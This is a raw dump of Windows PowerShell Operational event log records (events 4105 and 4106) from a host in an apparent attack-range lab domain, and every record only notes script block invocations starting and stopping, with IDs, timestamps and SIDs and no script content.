Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044263
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044262
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044261
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044260
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044256
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044250
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044244
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044243
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044242
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044240
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044238
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044237
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044236
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044234
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044233
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044232
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044231
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044230
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044229
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044228
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044227
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044226
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044225
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044224
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044223
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044222
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044220
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044219
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044218
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044217
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044216
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044215
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044214
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044213
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044212
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
